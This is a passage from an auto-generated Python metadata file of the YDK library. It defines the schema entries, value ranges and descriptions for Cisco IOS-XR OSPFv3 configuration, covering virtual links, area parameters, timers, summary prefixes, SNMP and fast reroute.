_MetaInfoClassMember('authentication', REFERENCE_CLASS, 'Authentication' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.VirtualLinks.VirtualLink.Authentication',
[], [],
''' Authenticate OSPFv3 packets
''',
'authentication',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('dead-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interval after which a neighbor is declared
dead (in seconds)
''',
'dead_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enabled virtual link
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption', REFERENCE_CLASS, 'Encryption' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.VirtualLinks.VirtualLink.Encryption',
[], [],
''' Encrypt and authenticate OSPFv3 packets
''',
'encryption',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('hello-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Time between HELLO packets
''',
'hello_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('retransmit-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit interval in seconds
''',
'retransmit_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('transmit-delay', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit delay in seconds
''',
'transmit_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'virtual-link',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.VirtualLinks' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.VirtualLinks',
False,
[
_MetaInfoClassMember('virtual-link', REFERENCE_LIST, 'VirtualLink' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.VirtualLinks.VirtualLink',
[], [],
''' Router ID of virtual link neighbor
''',
'virtual_link',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'virtual-links',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId',
False,
[
_MetaInfoClassMember('area-id', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Area ID if in integer format
''',
'area_id',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('area-scope', REFERENCE_CLASS, 'AreaScope' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope',
[], [],
''' Area Scope Configuration
''',
'area_scope',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('authentication', REFERENCE_CLASS, 'Authentication' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Authentication',
[], [],
''' Authenticate OSPFv3 packets
''',
'authentication',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('bfd', REFERENCE_CLASS, 'Bfd' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Bfd',
[], [],
''' Configure BFD parameters
''',
'bfd',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('cost', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interface cost
''',
'cost',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('database-filter', REFERENCE_CLASS, 'DatabaseFilter' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.DatabaseFilter',
[], [],
''' Database filter
''',
'database_filter',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('dead-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interval after which a neighbor is declared
dead (in seconds)
''',
'dead_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('default-cost', ATTRIBUTE, 'int' , None, None,
[('0', '16777215')], [],
''' Set the summary default-cost of a NSSA/stub
area
''',
'default_cost',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('demand-circuit', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable demand circuit operation
''',
'demand_circuit',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('distribute-list', REFERENCE_CLASS, 'DistributeList' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.DistributeList',
[], [],
''' Filter prefixes to/from RIB
''',
'distribute_list',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enable OSPFv3 area
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption', REFERENCE_CLASS, 'Encryption' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Encryption',
[], [],
''' Encrypt and authenticate OSPFv3 packets
''',
'encryption',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('flood-reduction', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable flood reduction
''',
'flood_reduction',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('hello-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Time between HELLO packets
''',
'hello_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('instance', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' Instance ID
''',
'instance',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('interfaces', REFERENCE_CLASS, 'Interfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces',
[], [],
''' OSPFv3 interfaces
''',
'interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('ldp-sync', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/Disable MPLS LDP sync
''',
'ldp_sync',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('mtu-ignore', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable ignoring of MTU in DBD packets
''',
'mtu_ignore',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('network', REFERENCE_ENUM_CLASS, 'Ospfv3NetworkEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3NetworkEnum',
[], [],
''' Specify network type
''',
'network',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('nssa', REFERENCE_CLASS, 'Nssa' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Nssa',
[], [],
''' Specify area as a NSSA area. Allowed only in
non-backbone areas
''',
'nssa',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('packet-size', ATTRIBUTE, 'int' , None, None,
[('256', '10000')], [],
''' Limit size of OSPFv3 packets
''',
'packet_size',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('passive', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable routing updates on an interface
''',
'passive',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('prefix-suppression', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable prefix suppression on an
interface
''',
'prefix_suppression',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('priority', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' Specify router priority
''',
'priority',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('ranges', REFERENCE_CLASS, 'Ranges' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Ranges',
[], [],
''' Range configuration
''',
'ranges',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('retransmit-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit interval in seconds
''',
'retransmit_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('sham-links', REFERENCE_CLASS, 'ShamLinks' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.ShamLinks',
[], [],
''' Sham Link sub-mode
''',
'sham_links',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('stub', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Specify area as a stub area. Allowed only in
non-backbone areas
''',
'stub',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('transmit-delay', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit delay in seconds
''',
'transmit_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('virtual-links', REFERENCE_CLASS, 'VirtualLinks' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.VirtualLinks',
[], [],
''' Virtual link sub-mode
''',
'virtual_links',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'area-area-id',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses',
False,
[
_MetaInfoClassMember('area-address', REFERENCE_LIST, 'AreaAddress' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress',
[], [],
''' Configuration for a particular area
''',
'area_address',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('area-area-id', REFERENCE_LIST, 'AreaAreaId' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId',
[], [],
''' Configuration for a particular area
''',
'area_area_id',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'area-addresses',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.Timers.Pacing' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.Timers.Pacing',
False,
[
_MetaInfoClassMember('flood', ATTRIBUTE, 'int' , None, None,
[('5', '100')], [],
''' The minimum interval in milliseconds to pace
limit flooding on interface
''',
'flood',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('lsa-group', ATTRIBUTE, 'int' , None, None,
[('10', '1800')], [],
''' Interval in seconds at which LSAs are grouped
and refreshed, checksummed, or aged
''',
'lsa_group',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('retransmission', ATTRIBUTE, 'int' , None, None,
[('5', '100')], [],
''' The minimum interval in msec between neighbor
retransmissions
''',
'retransmission',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'pacing',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.Timers.LsaTimers' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.Timers.LsaTimers',
False,
[
_MetaInfoClassMember('arrival', ATTRIBUTE, 'int' , None, None,
[('0', '60000')], [],
''' The minimum interval in milliseconds between
accepting the same LSA
''',
'arrival',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'lsa-timers',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.Timers.Throttle.Lsa' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.Timers.Throttle.Lsa',
False,
[
_MetaInfoClassMember('first-delay', ATTRIBUTE, 'int' , None, None,
[('0', '600000')], [],
''' Delay to generate first occurrence of LSA in
milliseconds
''',
'first_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('maximum-delay', ATTRIBUTE, 'int' , None, None,
[('1', '600000')], [],
''' Maximum delay between originating the same
LSA in milliseconds
''',
'maximum_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('minimum-delay', ATTRIBUTE, 'int' , None, None,
[('1', '600000')], [],
''' Minimum delay between originating the same
LSA in milliseconds
''',
'minimum_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'lsa',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.Timers.Throttle.Spf' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.Timers.Throttle.Spf',
False,
[
_MetaInfoClassMember('first-delay', ATTRIBUTE, 'int' , None, None,
[('1', '600000')], [],
''' Initial delay between receiving a change and
starting SPF in ms
''',
'first_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('maximum-delay', ATTRIBUTE, 'int' , None, None,
[('1', '600000')], [],
''' Maximum wait time between consecutive SPF
calculations in ms
''',
'maximum_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('minimum-delay', ATTRIBUTE, 'int' , None, None,
[('1', '600000')], [],
''' Minimum hold time between consecutive SPF
calculations in ms
''',
'minimum_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'spf',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.Timers.Throttle' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.Timers.Throttle',
False,
[
_MetaInfoClassMember('lsa', REFERENCE_CLASS, 'Lsa' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.Timers.Throttle.Lsa',
[], [],
''' LSA throttle timers for all types of OSPF LSAs
''',
'lsa',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spf', REFERENCE_CLASS, 'Spf' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.Timers.Throttle.Spf',
[], [],
''' SPF throttle timers
''',
'spf',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'throttle',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.Timers' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.Timers',
False,
[
_MetaInfoClassMember('lsa-timers', REFERENCE_CLASS, 'LsaTimers' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.Timers.LsaTimers',
[], [],
''' LSA timers
''',
'lsa_timers',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('pacing', REFERENCE_CLASS, 'Pacing' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.Timers.Pacing',
[], [],
''' Pacing timers
''',
'pacing',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('throttle', REFERENCE_CLASS, 'Throttle' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.Timers.Throttle',
[], [],
''' Throttle timers
''',
'throttle',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'timers',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.SummaryPrefixes.SummaryPrefix' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.SummaryPrefixes.SummaryPrefix',
False,
[
_MetaInfoClassMember('prefix', ATTRIBUTE, 'str' , None, None,
[], ['[\\w\\-\\.:,_@#%$\\+=\\|;]+'],
''' IPv6 prefix string format
''',
'prefix',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('prefix-length', ATTRIBUTE, 'int' , None, None,
[('0', '128')], [],
''' IPV6 prefix length
''',
'prefix_length',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('not-advertise', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Suppress routes matching prefix/length
''',
'not_advertise',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('tag', ATTRIBUTE, 'int' , None, None,
[('1', '4294967295')], [],
''' Tag
''',
'tag',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'summary-prefix',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.SummaryPrefixes' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.SummaryPrefixes',
False,
[
_MetaInfoClassMember('summary-prefix', REFERENCE_LIST, 'SummaryPrefix' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.SummaryPrefixes.SummaryPrefix',
[], [],
''' IPv6 address
''',
'summary_prefix',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'summary-prefixes',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.Snmp.TrapRateLimit' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.Snmp.TrapRateLimit',
False,
[
_MetaInfoClassMember('max-window-traps', ATTRIBUTE, 'int' , None, None,
[('0', '300')], [],
''' Max number of traps sent in window time
''',
'max_window_traps',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('window-size', ATTRIBUTE, 'int' , None, None,
[('2', '60')], [],
''' Trap rate limit sliding window size
''',
'window_size',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'trap-rate-limit',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.Snmp' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.Snmp',
False,
[
_MetaInfoClassMember('context', ATTRIBUTE, 'str' , None, None,
[], [],
''' SNMP context configuration
''',
'context',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('trap-rate-limit', REFERENCE_CLASS, 'TrapRateLimit' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.Snmp.TrapRateLimit',
[], [],
''' SNMP trap rate configuration
''',
'trap_rate_limit',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'snmp',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.FastReroute.PerLink' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.FastReroute.PerLink',
False,
[
_MetaInfoClassMember('priority', REFERENCE_ENUM_CLASS, 'Ospfv3FastReroutePriorityEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3FastReroutePriorityEnum',
[], [],
''' Fast-reroute per-link/per-prefix priority-limit
command
''',
'priority',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'per-link',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.FastReroute.PerPrefix.Tiebreakers.Tiebreaker' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.FastReroute.PerPrefix.Tiebreakers.Tiebreaker',
False,
[
_MetaInfoClassMember('tiebreaker-type', REFERENCE_ENUM_CLASS, 'Ospfv3FastRerouteTiebreakersEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3FastRerouteTiebreakersEnum',
[], [],
''' Tiebreaker type
''',
'tiebreaker_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('tiebreaker-index', ATTRIBUTE, 'int' , None, None,
[('1', '255')], [],
''' Index value for a tiebreaker
''',
'tiebreaker_index',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'tiebreaker',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.FastReroute.PerPrefix.Tiebreakers' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.FastReroute.PerPrefix.Tiebreakers',
False,
[
_MetaInfoClassMember('tiebreaker', REFERENCE_LIST, 'Tiebreaker' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.FastReroute.PerPrefix.Tiebreakers.Tiebreaker',
[], [],
''' Fast-reroute tiebreakers configuration
''',
'tiebreaker',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'tiebreakers',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.FastReroute.PerPrefix' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.FastReroute.PerPrefix',
False,
[
_MetaInfoClassMember('load-sharing-disable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Disable load sharing between multiple backups
''',
'load_sharing_disable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('priority', REFERENCE_ENUM_CLASS, 'Ospfv3FastReroutePriorityEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3FastReroutePriorityEnum',
[], [],
''' Fast-reroute per-link/per-prefix priority-limit
command
''',
'priority',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('tiebreakers', REFERENCE_CLASS, 'Tiebreakers' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.FastReroute.PerPrefix.Tiebreakers',
[], [],
''' Fast-reroute tiebreakers configurations
''',
'tiebreakers',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'per-prefix',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.FastReroute' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.FastReroute',
False,
[
_MetaInfoClassMember('per-link', REFERENCE_CLASS, 'PerLink' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.FastReroute.PerLink',
[], [],
''' Fast-reroute per-link global configuration
''',
'per_link',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('per-prefix', REFERENCE_CLASS, 'PerPrefix' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.FastReroute.PerPrefix',
[], [],
''' Fast-reroute per-prefix global configuration
''',
'per_prefix',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'fast-reroute',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.Distance.Ospfv3_' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.Distance.Ospfv3_',
False,
[
_MetaInfoClassMember('external', ATTRIBUTE, 'int' , None, None,
[('1', '255')], [],
''' Distance for external type 5 and type 7 routes
''',
'external',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('inter-area', ATTRIBUTE, 'int' , None, None,
[('1', '255')], [],
''' Distance for inter-area routes
''',
'inter_area',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('intra-area', ATTRIBUTE, 'int' , None, None,
[('1', '255')], [],
''' Distance for intra-area routes
''',
'intra_area',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
